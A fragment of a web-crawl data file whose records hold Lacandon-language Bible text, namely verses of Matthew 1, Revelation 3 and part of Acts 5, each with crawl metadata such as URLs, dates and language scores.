ric'beno'","id":"","dump":"CC-MAIN-2021-31","url":"https:\/\/www.bible.com\/bible\/786\/MAT.1.2.LACNT","date":"2021-08-01T02:16:39Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-31\/segments\/1627046154127.53\/warc\/CC-MAIN-20210731234924-20210801024924-00265.warc.gz","language":"lac","language_score":0.9997974038,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"lac_Latn_score\": 0.9997974038124084}","num_words":61,"character_repetition_ratio":0.097,"word_repetition_ratio":0.077,"special_characters_ratio":0.288,"stopwords_ratio":0.393,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"SAN MATEO 1:13 LACNT\nA Zorobabel caj c'uchij tu q'uinin u pararʌncʌr u rac' yʌn u parar ra' u c'aba' Abiud. A Abiudo' caj c'uchij tu q'uinin u pararʌncʌr u rac' yʌn u parar ra' u c'aba' Eliaquim. A Eliaquimo' caj c'uchij tu q'uinin u pararʌncʌr u rac' yʌn u parar ra' u c'aba' Azor.\nLACNT: A quet u t'ʌno' a ric'beno'","id":"","dump":"CC-MAIN-2021-31","url":"https:\/\/www.bible.com\/bible\/786\/MAT.1.13.LACNT","date":"2021-08-05T20:10:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-31\/segments\/1627046157039.99\/warc\/CC-MAIN-20210805193327-20210805223327-00407.warc.gz","language":"lac","language_score":0.9997080564,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"lac_Latn_score\": 0.9997080564498901}","num_words":61,"character_repetition_ratio":0.127,"word_repetition_ratio":0.288,"special_characters_ratio":0.293,"stopwords_ratio":0.443,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"SAN MATEO 1:10 LACNT\nA Ezequíaso' caj c'uchij tu q'uinin u pararʌncʌr u rac' yʌn u parar ra' u c'aba' Manasés. A Manaséso' caj c'uchij tu q'uinin u pararʌncʌr u rac' yʌn u parar ra' u c'aba' Amón. A Amóno' caj c'uchij tu q'uinin u pararʌncʌr u rac' yʌn u parar ra' u c'aba' Josías.\nLACNT: A quet u t'ʌno' a ric'beno'","id":"","dump":"CC-MAIN-2021-31","url":"https:\/\/www.bible.com\/bible\/786\/MAT.1.10.LACNT","date":"2021-08-03T22:44:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-31\/segments\/1627046154486.47\/warc\/CC-MAIN-20210803222541-20210804012541-00532.warc.gz","language":"lac","language_score":0.9997816682,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"lac_Latn_score\": 0.9997816681861877}","num_words":61,"character_repetition_ratio":0.127,"word_repetition_ratio":0.288,"special_characters_ratio":0.297,"stopwords_ratio":0.443,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"SAN MATEO 1:7 LACNT\nA Salomóno' caj c'uchij tu q'uinin u pararʌncʌr u rac' yʌn u parar ra' u c'aba' Roboam. A Roboamo' caj c'uchij tu q'uinin u pararʌncʌr u rac' yʌn u parar ra' u c'aba' Abías. A Abíaso' caj c'uchij tu q'uinin u pararʌncʌr u rac' yʌn u parar ra' u c'aba' Asa.\nLACNT: A quet u t'ʌno' a ric'beno'","id":"","dump":"CC-MAIN-2021-31","url":"https:\/\/www.bible.com\/bible\/786\/MAT.1.7.LACNT","date":"2021-07-28T21:14:27Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-31\/segments\/1627046153791.41\/warc\/CC-MAIN-20210728185528-20210728215528-00014.warc.gz","language":"lac","language_score":0.9998419285,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"lac_Latn_score\": 0.9998419284820557}","num_words":61,"character_repetition_ratio":0.129,"word_repetition_ratio":0.288,"special_characters_ratio":0.299,"stopwords_ratio":0.443,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"SAN MATEO 1:8 LACNT\nA Asajo' caj c'uchij tu q'uinin u pararʌncʌr u rac' yʌn u parar ra' u c'aba' Josafat. A Josafato' caj c'uchij tu q'uinin u pararʌncʌr u rac' yʌn u parar ra' u c'aba' Joram. A Joramo' caj c'uchij tu q'uinin u pararʌncʌr u rac' yʌn u parar ra' u c'aba' Uzías.\nLACNT: A quet u t'ʌno' a ric'beno'","id":"","dump":"CC-MAIN-2021-31","url":"https:\/\/www.bible.com\/bible\/786\/MAT.1.8.LACNT","date":"2021-07-28T20:18:35Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-31\/segments\/1627046153791.41\/warc\/CC-MAIN-20210728185528-20210728215528-00015.warc.gz","language":"lac","language_score":0.9998759031,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"lac_Latn_score\": 0.9998759031295776}","num_words":61,"character_repetition_ratio":0.129,"word_repetition_ratio":0.288,"special_characters_ratio":0.298,"stopwords_ratio":0.443,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"SAN MATEO 1:17 LACNT\nMʌ' ja wirej, quij Mateo, yʌn catorce u nunquirob Jesús. Cu yʌnx chun yejer Abraham cʌja'an ich yoc'ocab hasta c'uchij tu q'uinin ti' u rey David. Yʌn u jerob catorce u nunquirob Jesús. Caj quimij u rey David hasta caj bin purbir u winiquirob israel ich u ru'umin Babilonia. Yʌn u jerob catorce u nunquirob Jesucristo caj wʌc'ʌs urob ich u ru'umin Canaán hasta caj rocha'b Jesucristo ten u nʌ'. Mʌ' ja wirej, ra' u q'uinin quir u taquic winic a ti' yʌnob ich yoc'ocab.\nLACNT: A quet u t'ʌno' a ric'beno'","id":"","dump":"CC-MAIN-2021-31","url":"https:\/\/www.bible.com\/bible\/786\/MAT.1.17.LACNT","date":"2021-07-28T21:08:27Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-31\/segments\/1627046153791.41\/warc\/CC-MAIN-20210728185528-20210728215528-00155.warc.gz","language":"lac","language_score":0.9997642636,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"lac_Latn_score\": 0.9997642636299133}","num_words":95,"character_repetition_ratio":0.111,"word_repetition_ratio":0.0,"special_characters_ratio":0.246,"stopwords_ratio":0.4,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"SAN MATEO 1:15 LACNT\nA Eliudo' caj c'uchij tu q'uinin u pararʌncʌr u rac' yʌn u parar ra' u c'aba' Eleazar. A Eleazaro' caj c'uchij tu q'uinin u pararʌncʌr u rac' yʌn u parar ra' u c'aba' Matán. A Matáno' caj c'uchij tu q'uinin u pararʌncʌr u rac' yʌn u parar ra' u c'aba' Jacob.\nLACNT: A quet u t'ʌno' a ric'beno'","id":"","dump":"CC-MAIN-2021-31","url":"https:\/\/www.bible.com\/bible\/786\/MAT.1.15.LACNT","date":"2021-07-23T17:14:58Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-31\/segments\/1627046149929.88\/warc\/CC-MAIN-20210723143921-20210723173921-00281.warc.gz","language":"lac","language_score":0.9998142123,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"lac_Latn_score\": 0.9998142123222351}","num_words":61,"character_repetition_ratio":0.128,"word_repetition_ratio":0.288,"special_characters_ratio":0.299,"stopwords_ratio":0.443,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"SAN MATEO 1:4 LACNT\nBaxuc xan, quij Mateo, a Aramo' caj c'uchij tu q'uinin u pararʌncʌr u rac' yʌn u parar uch ra' u c'aba' Aminadab. A Aminadabo' caj c'uchij tu q'uinin u pararʌncʌr u rac' yʌn u parar ra' u c'aba' Naasón. A Naasóno' caj c'uchij tu q'uinin u pararʌncʌr u rac' yʌn u parar ra' u c'aba' Salmón.\nLACNT: A quet u t'ʌno' a ric'beno'","id":"","dump":"CC-MAIN-2021-31","url":"https:\/\/www.bible.com\/bible\/786\/MAT.1.4.LACNT","date":"2021-08-03T23:00:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-31\/segments\/1627046154486.47\/warc\/CC-MAIN-20210803222541-20210804012541-00139.warc.gz","language":"lac","language_score":0.99967134,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"lac_Latn_score\": 0.9996713399887085}","num_words":66,"character_repetition_ratio":0.125,"word_repetition_ratio":0.211,"special_characters_ratio":0.291,"stopwords_ratio":0.409,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"SAN MATEO 1:9 LACNT\nA Uzíaso' caj c'uchij tu q'uinin u pararʌncʌr u rac' yʌn u parar ra' u c'aba' Jotam. A Jotamo' caj c'uchij tu q'uinin u pararʌncʌr u rac' yʌn u parar ra' u c'aba' Acaz. A Acazo' caj c'uchij tu q'uinin u pararʌncʌr u rac' yʌn u parar ra' u c'aba' Ezequías.\nLACNT: A quet u t'ʌno' a ric'beno'","id":"","dump":"CC-MAIN-2021-31","url":"https:\/\/www.bible.com\/bible\/786\/MAT.1.9.LACNT","date":"2021-07-30T18:55:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-31\/segments\/1627046153980.55\/warc\/CC-MAIN-20210730185206-20210730215206-00608.warc.gz","language":"lac","language_score":0.9999073744,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"lac_Latn_score\": 0.999907374382019}","num_words":61,"character_repetition_ratio":0.13,"word_repetition_ratio":0.288,"special_characters_ratio":0.3,"stopwords_ratio":0.443,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"SAN MATEO 1:14 LACNT\nA Azoro' caj c'uchij tu q'uinin u pararʌncʌr u rac' yʌn u parar ra' u c'aba' Sadoc. A Sadoco' caj c'uchij tu q'uinin u pararʌncʌr u rac' yʌn u parar ra' u c'aba' Aquim. A Aquimo' caj c'uchij tu q'uinin u pararʌncʌr u rac' yʌn u parar ra' u c'aba' Eliud.\nLACNT: A quet u t'ʌno' a ric'beno'","id":"","dump":"CC-MAIN-2021-31","url":"https:\/\/www.bible.com\/bible\/786\/MAT.1.14.LACNT","date":"2021-07-30T20:56:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-31\/segments\/1627046153980.55\/warc\/CC-MAIN-20210730185206-20210730215206-00280.warc.gz","language":"lac","language_score":0.9998247027,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"lac_Latn_score\": 0.9998247027397156}","num_words":61,"character_repetition_ratio":0.13,"word_repetition_ratio":0.288,"special_characters_ratio":0.304,"stopwords_ratio":0.443,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"SAN MATEO 1:21 LACNT\nA Maríajo' ―caj u ya'araj yʌjmasir u t'ʌn C'uj―, bin u ca' pararʌncʌr María xib u parar María.\nCaj u toc araj yʌjmasir u t'ʌn C'uj ti' José:\n―Ca' a pʌchej u c'aba' JESÚS ca' bin a pʌchej u c'aba'. Rajen pʌcha'an u c'aba' Jesús, quire' bin u jawsic u si'pir a mac a cu quibic u t'ʌn soc mʌ' u bin ich c'ac'.\nLACNT: A quet u t'ʌno' a ric'beno'","id":"","dump":"CC-MAIN-2021-31","url":"https:\/\/www.bible.com\/bible\/786\/MAT.1.21.LACNT","date":"2021-08-03T23:36:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-31\/segments\/1627046154486.47\/warc\/CC-MAIN-20210803222541-20210804012541-00340.warc.gz","language":"lac","language_score":0.9999603033,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"lac_Latn_score\": 0.9999603033065796}","num_words":74,"character_repetition_ratio":0.102,"word_repetition_ratio":0.0,"special_characters_ratio":0.318,"stopwords_ratio":0.581,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"3\nRaji' u t'ʌn Jesucristo ti' u pastorir a ti' yʌn ich u cajar Sardis\n1 Caj ya'araj Jaj Ts'ur ten:\n―Juan ―quij Jaj Ts'ur―, ts'ibt a je' ju'una' ti' a pastoro' a ju ts'urir a yacsmʌnob tu yorob tu cu much'quinticob u bʌjob quir u c'ujinticob C'uj ich u cajar Sardis. Ts'ibtej ti', ca' a wa'arej ti': \"A teno', Jaj Ts'uren, ti' yʌnen tu yʌnob a siete u pixamo', a ti' yʌnob ich ʌcʌtan tu wich C'uj. Bayiri' xan, a teno', in mʌchmʌn ich in c'ʌb, a nojo', a siete u sabo'. Arej ti': A teno' in wer tu cotor ba' ca betic. Quin c'ʌ'otic a ba' ca wiric, cax a tsoyo', cax a mʌ' tsoyo'. Tu cotor mac tan u man u jumintob bic tabar caj a wacsaj ta worex ti' u t'ʌn C'uj, chen a teno' quin wiric tech an ten bic u chuquij c'ac'o', a tabar u tupuro'.\n2 Qui' cʌnant a bʌj soc mʌ' a p'ʌtic u t'ʌn C'uj. Chichquint u yorob a mac a cu c'ujinticob C'uj, ca' a chich arej ti'ob ca' manacob tu tsoyir quire' or u binob, ir u chuquij c'ac', a tabar u tupuro'. Mʌ' ja wirej, a C'ujo' cu yiric mʌ' ja jach man tu tsoyir, rajen mʌ' ja qui'quint u yor C'uj. Baxuc quin wac tech, quire' ya'araj Jaj Ts'ur.\n3 Quin c'asic tech, quij Jaj Ts'ur, bic caj a qui' c'ʌm u t'ʌn C'uj uch, wa ber caj a wu'y u jach tsoyir u t'ʌn C'uj. Qui' cʌnantej u tajir u t'ʌn C'uj, a ba' ta c'ʌmaj uch. Toc c'ax a wor ti' a ba' ta p'ʌtaj. Wa mʌ' ja sar a xiquin ti' a ba' quin chich aric tech, seb quin bin ur quir in taquic a jo'r, a ray u q'uinino' a mʌ' ja tucr in wu'uro', ra' u q'uinino' seb quin wu'ur, an ten bic mac a cu ta'quic ba', a mʌ' paja'an ca' bin taco' a baxuco', seb quin wu'ur.\n4 Cax yʌn ya'ab mac tu ca tsec'tic u t'ʌn C'uj ich u cajar Sardis, a cu manob tu c'asirob, chen yʌn jun yarob tu yʌnech robob mʌ' tu ec'quinta'b u noc'obi', robob a je' in wet binac yejerob a sʌc u noc'obo' quire' tsoy tu wich C'uj.\"\n5 Arej ti'ob ―quij Jaj Ts'ur―: \"A mac a c'ucha'an yor ti' soc mʌ' u bin acsa'bir u si'pir, cax a ba' cu tumtic u yore'. Ra' cu bin ts'a'bʌr ti' ten C'uj ca' u buquintej sʌc noc' quir u yesic raji' caj u cʌnaj C'uj. Ca' bin xuruc t'ʌn, ti' cu bin irbir ten C'uj a ray maco' u c'aba' tu ju'unin a cu ts'abʌr ti' cuxtar munt q'uin. A ray u q'uinin xano', bin in ca' in wac ti' in Tet C'uj ich ca'anan yejer u yʌjmasirob u t'ʌn wa raji' caj u cʌnaj in t'ʌn.\n6 Quin chich aric techex ca' a quibej a ba' cu ya'aric u Taj'or u Pixam C'uj ti' a mac a yacsmʌnob tu yorob tu cu much'quinticob u bʌjob quir u c'ujinticob C'uj soc u manob tu tsoyir.\"\nRaji' u t'ʌn Jesucristo ti' u pastorir a ti' yʌn ich u cajar Filadelfia\n7 Caj ya'araj Jaj Ts'ur ten:\n―Juan ―quij Jaj Ts'ur―, ts'ibt a je' ju'una' ti' a pastoro', a ju ts'urir a yacsmʌnob tu yorob tu cu much'quinticob u bʌjob quir u c'ujinticob C'uj ich u cajar Filadelfia. Ts'ibtej, ca' a wa'arej ti' a pastoro': \"A teno', quij Jaj Ts'ur, taj in wor quire' rajra' quin betic a ba' tsoy tu t'ʌn C'uj, bayiri' xan, a teno' taj a ba' quin wa'aric ti' mac. A teno', yʌn ten u c'ʌrʌbar, ra' u c'at ya'aric, yʌn in muc' a teno' an ten bic rey quir u reyinticob mac an ten bic ic nunquirex rey a David a ucho'.\"\n8 Arej ti': \"A teno', quij Jaj Ts'ur, In wer tu cotor ba' a ca betico'. Quin c'ʌ'otic a ba' ca wiric, cax a tsoyo', cax a mʌ' tsoyo'. A teno' caj in ts'ajaj tech u jor naj quir a beyaj ti' C'uj. Mʌna' mac c'ucha'an yor u c'ʌric quir u su'sic soc mʌ' a wesic C'uj ti' mac. Cax mʌ' toy tajac a wacsic ta wor mʌ' ja p'ʌt u t'ʌn C'uji'. Taj caj a wa'araj: Tin wacsaj tin wor ti' u t'ʌn Jesucristo, tu tu chucob in pach.\n9 U'yex ba' quin wac techex. Bin in ca' in ts'ʌr u pachob ca' xonrac ʌcʌtan techex a mac a cu tus aricob: U winquirenob judío, chen robob u ts'urir quisin, ra' cu c'ujinticob. Bin in ca' in ts'ʌric u pachob soc u sʌjtiquenob, soc yerob, a techexo' in jach yajechex.\n10 Mʌ' ja wirej, jach pacachbirech caj a wesaj ti' a rac'ob an ten bic in c'at tech, cax tu cu chuquicob a pach, rajen bin in ca' in cʌnantech soc mʌ' a p'ʌtic in t'ʌn tu cu chuquicob a pach. Yʌn ba' cu bin tar tu yʌnech, chen mʌ' jariri' tu yʌnech, je' u c'uchur tu cotor u ru'umin ich yoc'ocab. Tabar u bin u tumt a wor. Ya'ab mac a cu bin tumta'bir yorob, bin u ca' u p'ʌtob in t'ʌn, chen a techo' mʌ' ja bin a p'ʌtej quire' quin cʌnantiquech.\n11 A teno', seb quin wu'ur quir in cʌnantiquech. Ca' manaquech tu tsoyir quire' ta wacsaj ta wor, mʌ' a p'ʌtic. Quire' a mac a mʌ' ju man tu tsoyir, a mʌ' ju quib u t'ʌn C'uj mʌ' ju qui' bin ts'abʌr ten C'uj a ba' jach manan co'oj. Chʌca'an u ts'abʌr ti' u cuxtar munt q'uin, soc ti' cu cuxtar ich ʌcʌtan tu wich C'uj.\n12 A mac a c'ucha'an u yor ti' a ba' a cu tumtic u yor soc u man tu tsoyir, a mʌ' ju p'ʌt u t'ʌn C'uj, raji' je' u p'atʌr ich yicnʌn C'uj munt q'uin. A teno', bin in ca' in ts'ibtic ich yoc'or a ti'o' u c'aba' in Tet C'uj, bayiri' xan, in c'aba' a teno', a ric'beno'. Bayiri' bin in ca' in ts'ibtic ich yoc'or a ti'o', u c'aba' u cajar in Tet C'uj a tu cʌja'ani'. Ra' u cajaro', u cajar a ric'beno' ich ca'anan pʌcha'an u c'aba' Jerusalén. Raji' bin u caj tar ich ca'anan tera' ich yoc'ocab.\n13 Quin chich aric techex ca' a quibex a ba' cu ya'aric u Taj'or u Pixam C'uj, ti' a mac a yacsmʌnob tu yorob tu cu much'quinticob u bʌjob quir u c'ujinticob C'uj soc u manob tu tsoyir.\"\nRaji' u t'ʌn Jesucristo ti' a pastorir a ti' yʌn tu cajar Laodicea\n14 Caj ya'araj Jaj Ts'ur ten:\n―Juan ―quij Jaj Ts'ur―, ts'ibt a je' ju'una' ti' a pastoro', a ju ts'urir a yacsmʌnob tu yorob tu cu much'quinticob u bʌjob quir u c'ujinticob C'uj ich u cajar Laodicea. Ts'ibtej, ca' a wa'arej ti' a pastoro': \"A teno', quij Jaj Ts'ur, bin in ca' in nup'sej a ba' quin toc aric ti' mac. Aro' taj, quire' a teno' quin masic tech a ba' cu ya'aric C'uj taj ich a je' ju'una'. A teno', caj in betaj tu cotor a ba' ti' yʌn, an ten bic C'uj caj u toc araj ten.\"\n15 Arej ti' a pastoro': \"A teno' in wer tu cotor ba' a ca betic. Quin c'ʌ'otic a ba' ca wiric, cax a tsoyo', cax a mʌ' tsoyo'. A teno', in wer a techo' mʌ' chʌcowech ti' Cristoji', mʌ' sisech ti' Cristo xani', jaj ix ti' in wer mʌ' a jach yajquin ten wa mʌ' ja jach c'ʌmaj ten xan. In c'at in wirej wa ta jach c'ʌmaj Cristo, wa mʌ' ta c'ʌmaj Cristo.\n16 Quire' mʌ' ta jach c'ʌmaj Cristo, mʌ' ta jach p'uspachtaj Cristo xan, rajen caj a choquint in wor, rajen bin in ca' in xump'ʌtech.\n17 A techo', quij Jaj Ts'ur, ca tus tucric ta wor, tan a wa'aric: A teno', yʌn ten ya'ab ba' a ten yʌnino', quire' caj in wacsaj tin wor. Tan u jach t'ajʌr, quech, rajen ba'wir u jer ten jach ya'ab, cax tsire'ej in man tu tsoyire'. Baxuc a wʌc'ʌs bʌjiri' tus aric, chen mʌ' a wer wa jach otsirchʌjech, mʌ' tan ja c'ʌ'otej xan. Rajen a c'at otsirirech quire' cax ya'ab a ba'tac, mʌ' ra' cu yamtic a pixam, quire' sa'tʌr a ca', irech a mac a mʌna' u wich, a mʌna' u noc' xan.\n18 Rajen, quij Jaj Ts'ur, a teno', quin chich aric tech ca' a c'ʌmen, quij Jaj Ts'ur, a ba' cu jach co'ojquintech an ten bic oro, a jach tsoyo'. Quire' wa taj ca c'ujintic C'uj yʌn tech tu cotor ba' a c'at. Mʌ' ja wirej, a mac a tan u yacsic tu yor, ra' irej a mac tan u ts'abʌr sʌc' noc' ti', soc mʌ' u ch'ic suraquir, quire' chʌcpiten. Mʌ' ja wirej, a mac a tan u yacsic tu yor, raji' cu bin irbir bic jach manan tsoy a teno', quij Jaj Ts'ur. Raji', a mac a tan yacsic tu yor ten, raji' irej a mac a mʌna' u wich uch, chen baje'rer sasichʌjij u wich quire' tu yacsaj tu yor ten.\n19 Mʌ' ja wirej, tan in chich aric tech, quij Jaj Ts'ur, quire' in jach yajech, rajen tan in q'ueyiquech soc a quibic in t'ʌn. Rajen jach p'is a bʌj ca' a c'ax a wor tan a p'ʌtic a c'asir quir a quibic in t'ʌn.\n20 Mʌ' ja wirej, a teno', quij Jaj Ts'ur, taren ir a winico' a cu tar yirej yet winiquirob, a cu bʌxic chunche'e, soc u t'ʌnic u yet winiquirob, jaj ix tʌco cu yacsiquen. Mʌ' ja wirej, wa cu yacsiquen, quij Jaj Ts'ur, jeroj p'eri quic janʌnex.\n21 A mac, quij Jaj Ts'ur, a c'ucha'an yor ti' a ba' cu tumtic u yor soc u man tu tsoyir, raji' cu bin ts'abʌr u muc' soc p'eri' cu bin u reyintico'onob mac. An ten bic in Tet caj u betaj ten, quire' caj u yiraj c'ucha'an in wor ti' a quisino' uch. Mʌ' ja wirej, je' u ts'abʌr ic muc' ten C'uj a to'onexo' quir u c'uchur ij corex ti' a quisino', quij Jaj Ts'ur, bayiri' ti' a ba' a ti' yʌn ich yoc'ocab.\n22 Quin chich aric techex ca' a quibex a ba' cu ya'aric u Taj'or u Pixam C'uj, ti' a mac a yacsmʌnob tu yorob tu cu much'quinticob u bʌjob quir u c'ujinticob C'uj, soc u manob tu tsoyir.\"","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/ebible.org\/study\/content\/texts\/lacNT\/RV3.html","date":"2022-07-05T15:33:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656104585887.84\/warc\/CC-MAIN-20220705144321-20220705174321-00196.warc.gz","language":"lac","language_score":1.0000030994,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"lac_Latn_score\": 1.0000030994415283}","num_words":1696,"character_repetition_ratio":0.074,"word_repetition_ratio":0.125,"special_characters_ratio":0.31,"stopwords_ratio":0.486,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"5\nU si'pir Ananías yejer u si'pir Safira\n1 Chen ti' yʌn u jer xib caj t'ʌnij Ananías. Yʌn u rac' a t'ʌnij Safira. Bayiri' xan, tu canajob u ru'um. Jun xot' caj u canajob, p'eri' u ru'umobe'.\n2 U rac' Ananías u c'aba' Safira yer mun tu jaraj caj u canaj u ru'umob. Mʌ' ja wirej, tu mucu ch'aj jun xot' u taq'uin tu tu canajob u ru'um, jeroj tune', Ananías caj bin u p'ʌtej a jun xot' u taq'uino' ich a mac a tuchi'ta'b ten Jesús quir u tsec'ta'r u t'ʌn.\n3 Pedro caj ya'araj ti' Ananías:\n―An biquinin caj a wu'yaj u t'ʌn quisin quire' a techo' caj a chen p'ʌtaj jun xot' a taq'uinex ich a tenob? Je' wa ju c'uchur a wor a tusic ti' u Taj'or u Pixam C'uj Ananías. Mʌ' ja wirej, caj a mucu ch'aj jun xot' a taq'uinex tu caj a canaj a ru'umex soc yʌn taq'uin ti' a nojnoj bʌjiri'ex.\n4 Mʌ' ja wirej, Ananías quen, wa mʌ' ta cʌnajex a ru'umex ca'ch, toc techex yʌnin, bayiri' xan, caj ts'oc a caniquex a ru'umex toc techex yʌnin a taq'uino'. An biquinin techex caj a tucrajex a mucu ch'iquex jun xot' a taq'uino'? Mʌ' ta tusa xibi' an bic ten caj a tusen, ta tusex C'uj.\n5 Caj ts'oc u yubic u t'ʌn Pedro, Ananías seb caj quimij. Tu cotor mac a tu yubob bic tabar quimij Ananías caj jaq'uij u yorob.\n6 Jeroj tune', caj tarob ca'tur xib, a mʌ' uch xuruc u baquero' caj ric'ob quir u pixicob u baquer Ananías. Jeroj caj c'ocha'b u baquer caj binob u muquejob u baquer.\n7 Caj ts'oc u man tres hora caj c'uchij u rac' a Safirajo', caj c'uchij ich tu yʌnob a yacsmʌnob tu yorob. Chen mʌ' yer wa quimij u mami'.\n8 Caj c'ata'b ti' Safira ten Pedro:\n―Arej ten wa baxuc u bo'orir caj a canaj a ru'umex?\nSafira caj u nuncaj:\n―Jach baxuco' u bo'orir caj u canaj.\n9 Pedro caj u ya'araj ti':\n―An biquinin peri' caj a tumtajex u yor u Taj'or u Pixam C'uj quir a wiriquex wa sasir u wich? A ra ch'ica'anob tu jor naj a yʌjc'ochirob u baquer a mamo'. Baxuc tech ca' bin u c'ochob a baquer tech xan ―baxuc caj u ya'araj Pedro.\n10 Seb caj quimij Safira ʌcʌtan ich Pedro. Jeroj tune', caj tarob yʌjc'ochirob u baquer u mam. Caj irir quimen Safira caj u c'ochob u baquer caj muquij. Ca'rac caj mucob.\n11 Caj rʌc jaq'uij yorob a yacsmʌnob tu yorob u t'ʌn C'uj tu much'a'anob ich Pedro. Baxuc a mac yubmʌnob an bic tabar quimob Ananías yejer Safira, jaq'uij u yorob xan.\nU carem beyajob a mac a tuchi't'b ten Jesús quir u tsec'ticob u t'ʌn\n12 A mac tuchi'ta'b ten Jesús quir u tsec'ticob u t'ʌn caj u yesajob u muc' C'uj ya'ab, ich tu cotor mac a ti' yʌn ich u cajar Jerusalén. Mʌ' ja wirej, robob ich u cajar Jerusalén caj u yirajob a carem beyajob a tu betajob. A mac a yacsmʌnob tu yorob u t'ʌn C'uj tu much'quintajob u bʌj tu re'a'an u jor naj u c'aba' Salomón.\n13 Cu chen iricob tsoy a yacsmʌnob tu yorob u t'ʌn C'uj ten a mac cʌja'anob ich u cajar Jerusalén. Chen cu sʌjticob. Cu ch'ic sajquirob ti' u yet winiquirob judío ten a mʌ' u yacsmʌnob tu yorob ti' u t'ʌn C'uj. Mʌ' ju binob tu yʌn a yacsmʌnob tu yor u t'ʌn C'uj.\n14 Cax yʌn ya'ab mac a mʌ' yacsmʌnob tu yorob, a yacsmʌnob tu yorob tan u jach pimtarob cax xib, cax xquic tan u rʌc pimtarob.\n15 Tu cu man Pedro ti' cu tar purbir u yajirob soc u jawʌrob. Cax ti' cu chaquinticob ich u bo'oy Pedro, yerob je' u jaware'. Cu tarob purbir yejer ch'ac bayiri' xan, yejer yorxa'an cu tarob purbir ich Pedro.\n16 Bayiri' xan, a mac cʌja'anob bʌytʌc tu cajar Jerusalén cu tarob purbir a mac aca'an u quisinin ti'ob. Cu tarob purbir ich Pedro quir u joc'sa'r u quisinin. Baxuc a mac a yajo', cu tarob purbir ich Pedro ca' jawʌcob u yajirob. Pedro caj u rʌc jawsaj u yajirob.\nChuc Pedro yejer Juan\n17 Mʌ' ja wirej, jach choquij yorob u sacerdote u winiquirob judío yejer u nupob u winiquirob a saduceojo', quire' cu yiricob a mac tuchi'ta'b ten Jesús quir u tsec'ta'r u t'ʌn, a ba' tsoyir cu beticob.\n18 Rajen tuchi'ta'b policía ten u jach ts'urirob, ca' u chuquejob a mac a tuchi'ta'b ten Jesús quir u tsec'ta'r u t'ʌn. Caj ts'oc u chuquicob caj binob u purob tu cuch tu cu naj mʌquicob mac.\n19 Chen ac'bir, caj tarij yʌjmasir u t'ʌn C'uj tu mʌca'anob a mac tuchi'ta'b ten Jesús quir u tsec'ta'r u t'ʌn. Raji' caj u q'ue'aj u jor tu mʌca'anob, caj joc'sa'ob. Ac'bir caj joc'sa'bob, jeroj tune', raji' caj u ya'araj ti'ob:\n20 ―Joq'uenex, ca' xiquechex, arex yubob ich carem naj tu cu naj c'ujinticob C'uj u winiquirob judío. Toc arej ti'ob u t'ʌn C'uj, soc yerob bic tabar u cuxtarob mac munt q'uin, ca' jawʌc u si'pirob.\n21 Barej caj ts'oc u yubicob a ba' ara'b ti'ob ten yʌjmasir u t'ʌn C'uj, a mac mʌca'anob ca'ch caj binob tu carem naj tu cu naj c'ujinticob C'uj u winiquirob judío. Jeroj tune', caj ocob u camsicob u t'ʌn C'uj. Tabar u sastar caj c'uchob.\nJeroj tune', u jach ts'urir sacerdote caj c'uchij yejer a mac u yet binacob, robob caj u pʌyob ca' tac u much'quinticob u bʌj tu cotor u jach ts'urirob u winiquirob judío, quet yejer u jach ts'urirob u winiquirob judío a cu ya'aric, a nuxibo'. Barej caj rʌc c'uchob tu cotor u jach ts'urirob, jeroj tune', caj tuchi'ta'b pʌybir tu mʌca'anob a mac a tuchi'ta'b ten Jesús quir u tsec'ta'r u t'ʌn.\n22 Chen caj c'uchob a policíajo' tu mʌca'anob ca'ch, a mac a tuchi'ta'b ten Jesús quir u 